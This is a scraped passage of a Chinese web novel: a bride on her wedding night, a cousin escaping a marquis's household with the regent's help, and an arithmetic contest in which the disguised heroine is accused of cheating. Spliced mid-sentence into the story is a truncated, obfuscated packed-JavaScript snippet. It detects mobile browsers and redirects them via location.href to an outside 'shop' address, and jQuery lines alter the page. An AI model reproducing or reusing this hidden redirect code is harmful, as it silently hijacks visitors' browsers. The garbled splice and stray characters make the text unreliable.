和魏敏娴发生了关系。 不过很快他就想明白了。 他娶魏敏娴没错，还要她给自己生儿育女，不发生关系，怎么给这偌大的侯府留个继承人。 “魏姑娘……” 魏敏娴不着寸缕，起身的时候用被子遮住大半身子。 泪眼婆娑的望着楚衍诺。 “你还叫我魏姑娘。” 楚衍诺：“……夫人。” 魏敏娴抿着被他撕咬坏的唇瓣，嫣红的血迹格外醒目刺眼。 “相公你……刚才喊的是表妹的名字。” 楚衍诺神情间充满了尴尬。 “对不起，我……” 魏敏娴体贴道：“相公，你不用对我说对不起，我既然嫁给你，便会接受你的一切。 你喜欢表姑娘，想收进房里，还是怎么样，我都支持，只不过……” 楚衍诺神情复杂地听她把话说完。 魏敏娴转身擦掉眼角的水雾。 “我是魏国公的女儿，如果你对我不好，我爹不会饶恕你，就算是为了我们魏家的体面，你也要多尊重我一些，毕竟我……我已经把最珍贵的东西交给你了。 从现在开始，你就是我的天。 如果你对我不好，我会难过到枯萎。” 魏敏娴这片真情告白，楚衍诺怎么可能没有触动。 他喜欢表妹，从小和表妹相处，感情自然不用说。 可她和常人不一样，虽然完全依赖他，却从来不会真情实感的对他倾诉感情。 他这是第一次听女子对他表白。 又是刚刚把自己交给他的女子。 一切是那样新鲜。 “刚才是我不好，只要你能容得下表妹，我会好好对你的。” 魏敏娴早有准备，“相公，你放心，我一定会把她当成亲姐妹，保证一直对她好，只要我有的，就不会短了她的，如果我做不到，你随时可以休了我，绝无怨言。” 楚衍诺很满意自己看到的。 想魏敏娴一个魏国公府的千金小姐都能容下表妹。 表妹但凡懂点事，都该明白他的良苦用心。 以后这个家里，琴瑟和谐，他们必定会幸福美满。 楚衍晴只睡了一会，她先去侯夫人房里屏退婢女，汇报：“娘，表姐……应该是离开了。” 侯夫人刚起，正坐在梳妆台前整理长发。 闻言怔了片刻，眼泪无端落了下来。 “不知道你表姐……” 她转头看向楚衍晴，“娘是不是做错了？万一她过得……”不幸福，她怎么跟死去的父母和兄嫂交代。 楚衍晴犹豫道：“昨晚我看端王出现在翠竹园附近，也许有什么关系，如果他有参与，想必表姐比我们想象的更聪明，她会平平安安生存下去的。” 侯夫人叹了口气，“跟我一起去翠竹园。” 青柠一整晚没见屋里出来人。 还想着这主仆两个睡得可真踏实。 今早还没见两个人，心里莫名升出一抹不好的预感。 往常这个时间，小倩早出来帮表姑娘准备吃食了。 她有心进屋里查看，又担心小倩给她脸色。 最近小倩对她充满敌意，她已经不太敢见她们主仆。 忍耐着又熬了一会儿，她打算进屋询问一下。 世子爷大婚，府里肯定准备了很多新鲜的吃食。 新娘子那边重要，表姑娘一样重要。 她一只脚迈进院里，忽然看见侯夫人和三小姐过来了，她又退出去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16298403|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “给夫人和三小姐请安。” 侯夫人面无表情的瞥她一眼，训斥道：“都是你们这些奴才不好，整天教唆主子欺负暖暖，一会儿暖暖跟我告状，看我不揭你们的皮。” 楚衍晴背着侯夫人示意青柠快点走，“不是换班时间了吗，昨晚就是你在这守着，熬得住？” 青柠不敢叫苦，“只要表姑娘好，奴婢怎么都好。” 楚衍晴不愿意听她废话，“行了，退下吧，接下来交给荔枝就行。” 世子爷娶亲，表姑娘不高兴，肯定要跟姑母告状。 青柠一刻都不想多待。 正好借着三小姐的话头离开。 “那奴婢就告退了。” 侯夫人和楚衍晴进屋巡视一圈，果然不见了唐兮暖，连同这些年送她的珠宝首饰。 “衍晴，你盯着点，”侯夫人出屋的时候，吩咐道，“务必瞒着你哥，多争取两天时间。” 楚衍晴明白，出屋后严厉叮嘱荔枝。 “我表姐不高兴，今天你们就别进屋触她的眉头了，否则被她伤到，我可保不住你们。” 荔枝赶紧答应着：“奴婢谨遵三小姐教诲。” …… 天高任鸟飞，海阔凭鱼跃。 昨晚唐兮暖拉着小倩逃出侯府，终于感受到了自由的味道。 尽管天色黑漆漆的，打着灯笼才能看清楚路。 “小倩，我们成功了。”唐兮暖看向天边的星斗，打心底里透着愉悦。 小倩真心为她高兴，“是啊小姐，我们自由了。” 侯府门口斜对面，正好停了一辆马车。 今夜侯府大喜，宾客众多，不是坐轿就是赶着马车来的。 有一辆马车停在门口，太正常不过。 很快马车里跳下一个人，他身高腿长的站在车旁，冲唐兮暖晃了晃手里的兔子灯笼。 唐兮暖认出对方是送她玉佩，并且需要她帮助的男人。 稍一迟疑，满心欢喜的向他奔过去。 “你还真来了。” 周川行眼看着小姑娘一步一步向他靠近，轻盈的脚步仿佛踩在他的心尖上。 他攥紧手指，一股心愿达成的甜蜜感从心底蔓延，他故作轻松地点了点头，“当然，我答应过你，肯定不会食言。” 30-35 第31章 楚衍诺抱着酒葫芦落魄潦倒地晃荡在大街上。 端王看他不顺眼,心里憋着气，他虽然不知道唐兮暖生了什么病，但他知道唐兮暖自从进宫就没断药,太医每天都要过去诊断一回。 其实他二哥不常住宫里。 毕竟皇上健在，后宫妃嫔众多，他们几个皇弟早已成年,全都开衙立府，住在宫里诸多不便。 这段时间住在宫里，无非两个原因。 一来是抹杀唐兮暖的踪迹。 给她多些时间斩断过去。 再者便是方便她养病。 今天看见楚衍诺，肝火大动，攥起拳头就要冲上去揍人。 “让我教训教训他。” 周川行比他有理智，拦住他：“算了。” 端王观察了一下二哥的脸色，不像假的，“你确定放过这个杂碎？” 周t川行没回他，吩咐李貔貅，“二楼找个方便位置。” “好嘞,”李貔貅太阳穴突突地跳。 他刚才怀疑这个高大的男子是端王的侍卫，一屁股把人撞开。 这会看见端王对他十分顺从,怀疑此人就是那个不常露面的摄政王。 后脊梁莫名生出一层冷汗。 他笑得嘴角都僵硬了,强装镇定道，“几位里边请。” 周川行和端王带了一位贴身侍卫,三人一起到了楼上。 意外发现朝栎公主和楚衍晴把最好的位置占据了，周川行毫不犹豫走到朝栎旁边坐下。 端王稍一犹豫,只能勉强坐到了楚衍晴身边。 “给本王倒茶，”他皮笑肉不笑的瞥了眼旁边的姑娘。 楚衍晴忍着怒火，端起茶壶，当然要先给摄政王斟满,之后才轮到他。 端王越发憋闷了，“你给谁脸色看呢！” 楚衍晴起身行礼，“民女见过端王，端王千岁千岁千千岁。” 端王越发憋闷。 楚衍晴转而给周川行行礼。 按理摄政王是兄长，楚衍晴应该先给他行礼才对，实在是被端王气糊涂了。 不过周川行没让她行礼，“出门在外，随便就好。” 他坐的位置正好能看见唐兮暖，小姑娘白皙的脸上尽是开心明畅的笑容。 他跟着心情都好了不少。 楚衍晴没坐回去，借口方便下楼了。 朝栎眼观鼻鼻观心，心里充满了疑惑。 之前她怀疑二哥看上了楚衍晴，可这两次接触下来，发现三哥也喜欢她。 难不成她两个哥哥喜欢上了同一名女子。 这可麻烦了。 “二哥，三哥，我也去方便一下。” 她得问清楚楚衍晴到底喜欢谁，好方便她撮合。 周川行挪了下位置，更方便他看向小姑娘。 “阿谨，”周川行抿了口茶，“早点把婚事定下来。” 端王一时没转过弯，热闹瞧得好端端的，怎么提到婚事了。 “二哥，你都没定亲，我急什么。” 周川行漫不经心道：“大哥无子，我不喜欢孩子，你早点成亲，早点要个孩子。” 端王好笑道：“你开什么玩笑，你不喜欢孩子，又不是不能要孩子，就那么几下子的事，怀孕有女人，生下来有嬷嬷宫女伺候，至于不喜欢就不要。” 周川行怎么可能不喜欢孩子。 可他希望孩子是他和所爱女子一起努力而来。 其实没有孩子也好，免得操心了。 “大哥病了，我就得对你负责，给你两个月时间，把喜欢的姑娘报到我这里，我给你张罗，否则我就随便给你定一个了。” 端王倒是心有所属，可他不能只娶一个。 楚衍晴接受不了丈夫纳妾。 他也不接受不了别的女人做他的王妃。 所以他一想到婚事就头疼。 “二哥，我年纪还小，你还是操心小妹吧，她是姑娘，得给她找个好婆家……” 他说到这里，一顿，“二哥，你是不是在外打仗的时候伤了什么，要不了孩子了？” 周川行不是好眼色看他。 端王忽然笑开了，“现在已经有传言你喜欢男人了，再传出去你不行……” 注意到二哥黑铁似的脸色，使劲收回笑。 忽然看到楼下身穿男装的唐兮暖，又想到楚衍诺刚从门口过去。 凑到二哥身边，悄声道：“二哥，你真不怕唐姑娘看见楚世子跟他回去？” 周川行这点底气还是有的，“如果你从小被关在笼子里，整天过着暗无天日的日子，你以为人就该过这种日子，可有一天你发现笼子开了，试探着跑出去，然后发现外边的世界如此自由，如此鲜感，你还会回到笼子吗？” 端王毫不犹豫道：“谁让我回去，我跟他急。” 周川行赞许道：“这就对了。” 端王承认自己没有二哥格局大，这种思路是他从来没想过的。 难怪二哥这么大方把人放出来。 大概过了一炷香的时间，楚衍晴和朝栎回来了。 楚衍晴本来想远离端王，被朝栎故意拉到他身边的椅子上。 “衍晴，你又不是不喜欢我三哥，干嘛和他那么生分。”朝栎小声道。 楚衍晴脸颊红彤彤的，又羞又涩地说道：“我要的是一生一世一双人，他又给不了我，我们两个是不可能的。” 朝栎虽然生在皇室，父母最疼爱的女儿，又是当今皇上一母同胞的亲妹妹，尊贵无比。 可她从来没想过一生一世一双人。 女子卑微，哪个男人不是三妻四妾。 她就算尚驸马，也不敢想，驸马只有她一个女人。 “能行吗？” 楚衍晴不屑道：“凭什么不行，我宁愿孤独终老，也绝不会嫁给滥情的男人，他做不到只有我一个，就不要招惹我。” 端王恨得咬牙切齿，“给你脸了！” 楚衍晴和他拉开距离，“我又没说你，我在说我未来的夫君。” 端王想到她有可能嫁给别人，心口仿佛堵了一块打铁块。 他为什么会看上楚衍晴这种霸道骄横的女人！ 楚衍晴的行为感染了朝栎，她沉默片刻，忽然握住小拳头，“对，凭什么我们女人只能嫁一个，他们男人娶好几个，要么女人也嫁好几个，要么他们就娶一个。” 她隔着两个人和周川行说：“二哥，我的亲事，我自己做主，驸马绝对不能有别的女人。” 周川行就这一个妹妹，自然是无底线无上限的宠着。 “行，看好了，跟我说。” “今天的聪明人大赛，马上就要开始了，我们要在这里选出大周朝最聪明的人。 所有参赛选手做好准备，还没报名的，抓紧来我这里报名了。 但凡报名的，只要坚持到第二轮，就能拿二两银子。 最终获取第三名的五十两银子，第二名八十两，第一名一百两。 奖金由县衙和大周富商赵员外赞助。 现在，让我们用最热烈的掌声感谢县衙和赵员外。”李貔貅站在台上，高声喊道。 当然，县衙只不过应个名声，奖金全由赵员外赞助。 唐兮暖已经报了名，小倩还有些担心，她家小姐一直被人喊傻子，竟然参加聪明人大赛，万一输了，不是要被嘲笑。 “公子，咱们看看热闹就行了吧，还是别参与了。” 唐兮暖信心十足，小脸上洋溢着志在必得的笑。 “等着，我拿到一等奖，给你们几个买糖吃。” 连翘奉唐兮暖的命令带褴褛人去换衣服。 褴褛人还不愿意，“大丈夫不食嗟来之食，休要羞辱我。” 连翘看不起他这副穷酸样，“你都要饿死了，还跟我矫情。” 她也不管褴褛人什么态度，揪着他的衣领就进了旁边的布桩。 “掌柜的，打盆清水给他捯饬捯饬，再挑身合适的衣服。” 褴褛人好几天没吃东西，浑身乏力，人倒是不矮，可长得很瘦，连翘又是习武之人，他本想反抗，绝对不能被女人侮辱，可他实在反抗不了连翘。 连推带搡的被人推进布桩，恨不得找个地洞钻进去。 连翘吩咐完，掏出一块银疙瘩扔到柜台上。 掌柜的眼里冒光，特别迅速端过一盆清水，“这位爷，我伺候您洗漱。” 褴褛人被人摁着洗了脸，又换上干净的衣服。 他长得不丑，稍一打扮就有几分世家公子的气派。 这会对着水盆照了照，竟然被自己样貌惊艳到。 简直不敢相信，自己还有这么英俊的一天。 连翘把人打量一遍，嘲讽道：“刚才不是还嚷嚷着不从吗，有能耐把衣服脱了还给我啊！” 褴褛人也不是不懂感恩的人。 他红着耳根，老老实实行拱手礼，“感谢姑娘赠衣之恩，等我拿到奖金，一定还给姑娘。” 连翘可不敢居功，“是我家公子的意思，你要谢还是谢我家公子吧。” 刚才李貔貅带着报名册子来到唐兮暖面前，让她报名。 她自然不会用真名。 一听就是姑娘家的名字。 好在她聪明，临时想了一个名字，寒兮。 连翘和褴褛人回来后，直接来到她身边。 褴褛人恭恭敬敬的行礼，“在下江南学子孙卿兆，感谢这位公子赠衣之恩，在下拿到奖金一定会还给公子。” 唐兮暖不在乎银钱，但她想拿奖。 她学着孙卿兆的样子，斯斯文文的行拱手礼，“在下京城……学子，寒兮，不用你感谢，拿到奖金请我吃饭就好了。” 孙卿兆真心实意道：“只要拿到奖金，一定会请公子吃饭。” 唐兮暖笑了，“可惜你遇到的对手是我，可不一定能拿到哦。” 孙卿兆对自己的才学有信心，“还请公子拭目以待。” 李貔貅认出孙卿兆是刚才的乞丐，心里不由得感叹，还真是佛靠金装，人靠衣装，就这t么一打扮，谁还认得出来一碗茶前他还是个花子呢。 看见唐兮暖跟他说话，立刻拿着报名册子挤过去。 “这位兄台，报名在这里。” 孙卿兆很快写上自己的大名。 唐兮暖瞥了一眼，字还挺漂亮。 随后她请孙卿兆坐到自己身边。 聪明人大赛分两天举行。 今天初赛，明天决赛。 初赛一共分三轮。 第一轮是纯数字计算。 彩月楼一共准备了十组题，每组题都是二十五个数字左右，每组十人参加，第一名算完的计十分，第二名算完的计九分，以此类推。 正确的进入第二轮，算错的淘汰。 第二轮，彩月楼准备的是鸡兔同笼问题，一共三道。 计分方式和第一轮一样。 第三轮便是账务问题，稍微复杂一些。 计分方式还是一样。 全部比赛皆以娱乐为主，不会太难。 三轮全部通关者，参加明天的决赛。 唐兮暖第一次参加这种活动，整个人都是兴奋激动的，她磨拳磨掌，誓要拿个名次。 比赛很快开始。 唐兮暖报名晚，排在倒数第二组。 在李貔貅和其他工作人员的主持下，第一组十名人员全部到位。 这一轮参加的全是男子。 举牌报数字的小姐倒是名女子。 她一袭蓝色薄纱长裙，袅袅娜娜地走到舞台上，将手里的牌子举了举。 “所有参赛人员做好准备，马上就要报数字了哦。” 十名参赛人员每人一张桌子，一张纸，一支笔，一把算盘，一个摇铃，一把椅子。 桌子上放了挡板，防止左右偷看。 台上除了报数小姐，还有两位计分员。 此刻彩月楼已经人满为患。 屋里实在挤不下，门口全都是围观群众。 他们探着脖子往里瞅，有人怎么都看不到干脆搬把椅子放到门口，站在椅子上往屋里看。 “所有参赛人员做好准备，再强调一下比赛规则，抄袭偷窥一律除掉比赛资格。” “现在开始报数，”报数小姐掀开牌子，报出第一页的数字，“一万五千三百二十六。” 牌子很大，字体很大，保证参赛人员全都能看清楚。 随着她话音落，十名选手飞快地扒拉起算盘珠子。 唐兮暖坐的远，看不清楚牌上的数字，不过她能听清楚。 她不会拨弄算盘，把数字记在心里，第二页数字报完，十名选手还没拨下第二颗算珠，她已经在心里把结果算出来了。 周川行稳坐中军帐，端王要坐不住了。 “看起来，你家姑娘参赛了，不就近看看？” 周川行慢慢悠悠品着茶，视线一直若有似无地落在小姑娘纤细的身上。 说实话，那自然是想靠近的。 可他答应小姑娘让她自己闯荡，他跟出来已经越举，再靠过去，和把她关在笼子里有什么区别。 “这里视野开阔。” 端王瞧不起他二哥一副装模作样的姿态，明明心里恨不得飞过去，却还在这装高深，装胜券在握。 “二哥，你说她能打到几轮。” 周川行毫不犹豫道：“当然是拿第一名了。” 端王可不信，“你哪来的自信，”他不敢说唐兮暖是傻子，心里却是怀疑的，“万一过不了第一轮，小姑娘哭起来可不好哄。” 周川行不是好眼色看他。 “闭上你的臭嘴，再胡说我把你踢下去。” 端王急忙往楚衍晴那边挪了挪，“二哥息怒。” 楚衍晴和朝栎公主都忙着看楼下的参赛人员。 有人拨弄算珠子快，有人拨的慢，有的人第二个数字都没跟上。 急得朝栎恨不得冲过去替他们拨弄。 “衍晴，你看那个笨蛋，只跟了一个数，后边都没听清报数小姐说什么。” “还有那个，只跟了三个数字，你看他盯着算盘珠子，恨不得拆下来吃了吧。” “那个更差，第一个数字都没拨完。” …… 两个人冲着楼下指指点点。 楚衍晴也会算盘，侯夫人身体不好，她两年前便开始帮着家里管理中馈。 经过两年的锻炼，算盘子扒拉的滚瓜乱熟。 “我看这十个人，能有三个人算对就不错了，别说快慢。” 楚衍晴把十个参赛人员数了一圈，“早知道会用算盘子就行，我也参赛去了。” 朝栎不会算盘，遗憾道：“可惜我没早点学，否则咱俩一起报名。” 正好看见小二哥过来添茶，“问问你们老板，现在还能报名吧？” 小二哥刚听完二老板抱怨，“最后一组还差三个名额，小姐想报，还是可以的。” 朝栎指着楚衍晴对他说：“快点把我们三小姐加上，衍晴，我给你加油。” 听说楼上有人要报名，还是和端王坐一起的，李貔貅赶紧拿着报名册子上来，“楚三小姐，这里签名。” 楚衍晴接过毛笔，大笔一挥，填上自己的名字。 “我要最后一轮上场吗？” 李貔貅看见她身边坐着端王和摄政王，比见到过世的姑奶奶都高兴，“您报名晚，是最后一组，不过最后一组有最后一组的好处，算您才八个人。” 人越少得分越高。 这么算，楚衍晴确实占便宜，“好了，我知道了。” 此时，第一组已经交卷。 三人没算出结果，直接出局。 七人算出结果，只有五人算对，又有两人出局。 计分员给五名算对选手记录上分数，他们暂时退下，第二组上场。 小倩不懂这些，通过第一组的情况，她观察出一个规律，“公子，只要算对就有机会，一会儿您别急，慢慢来，没准您那组只有一人算对呢，那您慢点，也是十分。” 唐兮暖很听话的点点头，“我知道。” 她一眨不眨地盯着台上的报数小姐，白皙红润的小脸上，满满的求知欲。 很快第二组的结果也出来了。 这次算对的选手更少，只有三人全部算对，所以只有三人晋级。 其中得八分的人是最后一个算出结果的。 竟然得到八分，占了大便宜。 小倩竟然看出些门道，替第一组的人鸣不平。 “公子，第一组得六分的人，比第二组得八分的人提前交卷呢，却差了两分，好吃亏。” 唐兮暖认同她的说法：“没办法呢，他们不是同一组。” 小倩不平道，“这样所有比赛完事，肯定很多人吃亏。” 唐兮暖没想那么多，“反正总有人吃亏，不怕的。” 小倩双手合十，祈祷老天保佑，“老天爷，保佑我们家公子那组只有她一个人作对，那她就有十分了。” 连翘站在唐兮暖身后，接着小倩的话茬说：“等第二场，只有我们家公子一个人做出来，这样不用比第三场，我家公子就是第一了。” 紫苏被她们两个逗笑了，“干脆我去找老板说一声，给我们家公子单独设计一个奖项。” 唐兮暖从小到大被人当做小傻子，没人相信她能算出这些复杂的数字。 她也不懂分辨，从来没想过证明自己。 虽然小倩和两名侍卫都没恶意，却代表了大多数人对她的印象。 今天的游戏如果不是她感兴趣，也不会参加，她笨傻的形象还会持续下去。 坐在旁边的褴褛人孙卿兆一直在观察报数人和所有参加比赛的选手。 经过三组比赛也算小有心得，“兄台，这拨算盘也有学问的，别管她念什么，只管盯着板子上的数字。” 唐兮暖不会拨弄算盘，她只讲自己得出的规律。 “你看她报出来的数字，后一个都比前一个多一位或者少一位，如果我没观察错，这组仍然是二十五个数字，得出的结果应该是九亿八千五百三十二万四千五百六十四。” 孙卿兆恍惚着还以为在听什么神话故事。 “不会吧，现在才报十几个数，你都算出结果了？” 唐兮暖也不确定，“如果后边规律不变的话，就是这个结果。” 第四组结束，报数人宣布正确答案，果然和唐兮暖所言一数不差。 孙卿兆眼神复杂的看着唐兮暖，“你……不会提前知道他们出的题吧。” 唐兮暖没有一点被怀疑之后不悦的神色，她很坦然道：“我是观察出来的规律。” 孙卿兆简直无法相信。 他是遇到了什么算学天才，光凭观察三组数字就能得出后边的计算结果。 太不可思议了—— 作者有话说：留言发红包 第32章 出题人的思路被唐兮暖猜到,接下来每组赛题刚亮出来三四个，她便算出最终结果。 且丝毫不差。 孙卿兆从小读书，喜欢舞文弄墨,擅长诗词歌赋，通晓天文地理，犹好算学,可以说是全能人才。 甚至同窗都称t他为六边形战士。 他对自己一向自信。 今天竟然被一个初出茅庐的少年惊到。 如果她真没见过题目，那她就是大周朝最聪明的人。 很快轮到孙卿兆上场，毫无意外，他是同组算的最快最准的，拿到最高分十分。 唐兮暖排在他后边上场。 十名参赛人员分为前后两排。 每排五人。 唐兮暖坐在第二排中间。 左右两桌距离她大约两步左右。 桌上放着挡板，她坐下后，就算探着头也看不到其他人的答案。 这是李饕餮亲自设计的座位，自然是为了防止互相抄袭的。 唐兮暖身后，距离她两三步远的位置便是围观群众的座位。 此刻彩月楼里聚集了至少三四百人。 就连三楼不太方便观赏的地方都挤满了人群。 光卖门票，李饕餮都赚了平常人几百年都赚不来的银子。 这才是第一天,明天前来看热闹的顾客只多不少。 可地方有限，想要提高收入,他得提高门票售价了。 还有两组轮到楚衍晴,她和朝栎一起挤下楼，来到幕后准备入场。 自从唐兮暖走上参赛,周川行便握紧了手里的杯子。 端王看出他紧张，不怀好意道：“二哥,要不下去就近看看。” 小姑娘今天一身淡青色绣金纹圆领袍，头发挽着，只简单攒一支碧玉紫金冠。 她人长得美，仿佛一位俊俏的白面书生。 周川行当然想就近观看,可他不方便下去。 他虽然不常出行，可今天彩月楼各色人等不知道来了多少，保不准就有朝中重臣、王孙贵族。 被人发现小姑娘和他的关系，再想出来玩可就不自由了。 “这个位置就挺好。” 端王就佩服他二哥这点，闷骚，自控能力还超强。 不管什么时候，都能临危不乱。 “开始了，开始了。” 端王盯着报数小姐，眼见着她手指翻动，露出第一个数字，比赛者还要激动。 随后又看向唐兮暖，发现唐兮暖的算盘放在旁边，一副没有做好准备的样子，担心道，“嫂子怎么不动算盘啊，二哥，嫂子不是不会用算盘吧。” 周川行皱了皱眉，他也担心小姑娘不会用。 第一个数字报完两遍，报数小姐紧接着报出第二个。 唐兮暖还没动键盘，可把端王急坏了。 “二哥，她真不会用算盘啊，这可怎么好，不行，我下去看看吧。” 周川行相信小姑娘，“稍安勿躁。” 端王怎么可能安的下来，“我怕嫂子一会哭鼻子啊，二哥你会哄小姑娘吗！” 周川行：“……” 他确实不会。 端王急得直抓脑袋，“我也不会啊，”他靠不过稳坐中军帐的二哥，“不行，我这就下去……” 他话没说完，忽然发现小姑娘动笔，竟然在白纸上写下一组数字。 “完了，完了，”端王彻底崩溃了，“题还没出完，嫂子都把纸用了，她不是不懂规则吧。” 毕竟大家都说她是傻子。 可能前段时间修正户部账务纯属瞎猫碰到了死耗子。 “二哥，你倒是说句话啊，才报三个数，嫂子都把答案写了，这不是开玩笑吗。” 周川行也摸不准。 可他这个时候冲上去，被人认出他的身份，只会把唐兮暖是傻子的传言坐实。 大家不会相信两个人是真心相爱，只会怀疑他贪图美色，把一个傻子拐回家里渔色。 “等一下吧。” 既然周川行都不急，端王也努力让自己静下来。 他现在满脑子都是一会儿小姑娘跟他二哥哭得伤心欲绝，他该怎么教他这个不懂女人的二哥哄女孩子。 楚衍晴和朝栎在幕后排队，没见到现场的情形。 虽然她们站在侧面，能看到参赛人员，可看不到具体某个人。 自然也就没发现唐兮暖。 这会最痛苦的就属李貔貅了。 摄政王的人，他当然要多上心。 可寒兮不用算盘，还在报数没完毕的时候胡乱写下一个数字，这可怎么好。 不行，好不容易搭上摄政王这条线，他必须抓住机会。 之前七组每组都出二十五个数字。 第八组，他决定提醒报数小姐早点结束。 很快报数小姐接到他的手势提醒。 在第十个数字的时候戛然而止。 “这是最后一个数字，请所有参赛人员听好……” 偏好有点太明显，不光参赛的十名人员懵了，在场所有观众也懵了。 唐兮暖已经写好结果，赶紧修改。 待报数小姐展示完最后一个数字，她已经摇响桌面的铃声。 李貔貅亲自跑过去替她举手，“寒兮第一个算出结果。” 管他对不对，速度够也是优势。 实在不行，他就以寒兮的结果为准，只要让报数小姐毁了刚才报过的数字，谁能证明寒兮的就是错的。 他可真是个会赚钱的小天子。 只要抱紧摄政王这棵大树，早晚他会成为大周朝最富有的人。 坐在二楼的摄政王如果能听到他的心声，肯定会嘲笑一句，自己都不敢想大周朝最富有的人，他可真敢想！ 端王急了：“怎么回事？这组怎么只有十几个数字。” 周川行也不清楚怎么回事。 “看报数小姐，后边应该还有。” 端王只管盯着唐兮暖，“她改数字了，李貔貅跑过去了，李貔貅宣布她是第一。” …… 李貔貅宣布完唐兮暖第一个算出结果，很快有人摇响铃声。 紧接着第三个，第四个…… 出奇的奇怪，这组十个人，也不知道因为数字少，还是因为所有能力强的人都分到了这组，所有人的答案都是一样的。 李貔貅不用宣布正确答案，所有人全部晋级。 唐兮暖第一个答完，自然是十分。 李貔貅还念了一句阿弥陀佛，对错不重要，示意报数小姐赶紧毁了第八组数字。 想追究都无从下手。 “我第一名，”唐兮暖特别开心，这是她第一次参加这样的活动，算的又快又准。 白皙的小脸洋溢着特别愉快的笑。 满心欢喜走回自己的位置。 小倩本想抱住她，奈何人多，小姐又是公子打扮，改成拉她的手。 “公子，你可真棒，算的又快又准，十分呢。” 孙卿兆也替她高兴。 “寒公子果然聪慧，是第一个算出答案的。” 前七组都是二十多个数字，第八组竟然只有十个，在场观众怎么可能发现不了。 李貔貅这个二老板还亲自赶到寒兮身边帮她举手，偏爱的如此明显，大家又不傻。 议论声一旦开始，便停不下来。 唐兮暖光顾着开心，没听到，孙卿兆可听了个清清楚楚。 他稍一犹豫，问道：“寒公子可有官职？” 唐兮暖是女子，哪来的官职。 孙卿兆眉头一皱，计上心来，“寒公子送我一身衣服，我送公子一步青云梯。” 唐兮暖知道青云梯的字面意思，可她不懂孙卿兆送她青云梯是什么意思。 还没等她问出口，孙卿兆忽然走上舞台，一本正经的高声道：“我举报……” 他看向唐兮暖，目光忽然变得十分锋利，指向她：“这位选手作弊。” “作弊？” “不会吧。” “怎么不会，你没发现第八组只有十个数字。” “对对对，全都二十多个，只有第八组是十个数字，李貔貅还屁颠屁颠跑到那名选手身边，分明内定。” “我刚从就发现不对了，那位选手连算盘都没碰，还在没报完数的时候就写下结果。” “我也看见了，肯定有问题。” “谁算了刚才的数字，他们算的结果对不对。” “要我看，肯定不对，李貔貅就是要她晋级，保送。” …… 孙卿兆一语激起千层浪，自有大儒为他辨经。 很快有人连证据链都替他想好了。 李貔貅确实藏私了，被人当众指出来，尴尬到无地自容。 不过他经营彩月楼十几年，可不是白混的。 此刻脸不红心不跳，一口咬定他没有偏私。 孙卿兆义正言辞，“那李老板就把第八组数据拿出来，让我们重新核算一下。” 报数小姐看了一眼她刚才偷偷撕毁的数据…… 唐兮暖还在琢磨青云梯什么意思。 小倩却忍不住暴躁了。 她指着孙卿兆，用最难听的话骂他：“你怎么如此不要脸，我家公子刚送你一身衣服，又给你买吃的，你竟然恩将仇报。” 连翘更气。 衣服还是她带着孙卿兆买的。 “让我去把这个混蛋打死，公子好心帮他，他倒好，竟然指责公子作弊，这是人做的事吗！” 她是个火爆性子，说要打人磨拳磨掌就要动手，却被紫苏给拦住了。 “别冲动。” 连翘不同意，“先t让我教训他一顿。” 紫苏给她一个威严的眼神，“这里人多，引起公愤，我们不一定能讨到便宜，万一伤到公子……” 连翘只能收起冲动。 摄政王给的命令，唐姑娘掉一根头发，她们都要受到惩罚。 此刻彩月楼好几百人，真动起手来，谁能保证没有下黑手的。 “那怎么办？” 紫苏没处理过这种事，不过她一向沉稳，缜密，“看李貔貅怎么说。” 李貔貅肯定护死了摄政王的男宠。 他为了赚钱，才不管大家怎么质疑。 “不要吵，不要吵，我们彩月楼行事一向公正，绝对不会徇私舞弊，寒公子答得又快又准，是孙卿兆嫉妒他，故意针对他。” 他这话没有说服力。 只有很少一部分观众相信。 毕竟数字相差太多。 “退钱，退钱，彩月楼不公正，我们不看了。” “对，退钱，退钱，我们不看了。” “我们也不参加了，什么比赛，故意耍我们呢，退钱，退钱。” …… 一时间，数不清的顾客吵着退钱。 相当于抽李貔貅的筋，他无比头疼地走向唐兮暖：“寒公子，您看这事……” 唐兮暖一时没想清楚，坐在楼上的端王可真坐不住了，“二哥，你就眼看着她被人欺负啊。” 周川行仔细观察着小姑娘的脸色，她和一般人不一样。 虽然大家都很气愤，都在指责她作弊，可她并没有生气、焦躁等任何负面情绪。 融入这个世界，像正常人一样和大家来往、交朋友，被人误解应该是她人生必要的经历。 如果她愿意接受，他便站在她身后护着。 如果她不愿意，他便带她回家，将她彻底保护起来。 此刻，他想看清楚小姑娘的选择。 “再等等。” 端王等不了了，“我下去看看。” 唐兮暖很快有了回答：“我可以接受大家的监督，再参加一次比赛。” 这话一出口，李貔貅心里乐开了花。 重新参加比赛，是寒兮自己的决定，摄政王可怪不到他头上了。 “好，就重新参加比赛。” 他走到舞台上，站到孙卿兆旁边，高声道：“彩月楼为了证明没有舞弊徇私，现决定，让寒兮重新参加比赛，就参加……第十组吧。” 这个决定还算公平，得到全场的认可。 “好，李老板公平，让我们一起看他的表现。” 连翘生气孙卿兆忘恩负义，站在人群里大声喊道：“我举报孙卿兆偷窥别人的答案。” 她这话根本站不住脚，因为孙卿兆是第一个交卷的。 可李貔貅生气他给自己找麻烦，故意道：“为了公平起见，孙卿兆也重新参赛吧，之前的成绩作废，以最后一次参赛为准。” 孙卿兆倒也不意外，“好，我跟寒兮一组，就再比一次。” 这场风波终于解决，第九组上台。 楚衍晴听到前台热闹，伸长脖子八卦，可她只听到寒兮没见寒兮的脸，自然不知道此刻全场瞩目的焦点竟然是她表姐。 端王已经挤到楼下，他就站在唐兮暖旁边，低声问她：“需不需要帮忙？” 唐兮暖毫不犹豫地摇头，“不用。” 端王便坐在她旁边的位置。 因为第九组选手很快就位，现场观众又多，人挤人的，很多人都没见到寒兮是哪个。 自然也就没多少人注意到端王和她说话。 孙卿兆很快从台上退下来。 他顶着小倩和连翘恨不得杀死他的眼神来到唐兮暖身边，拱手道歉，“寒公子，在下得罪了。” 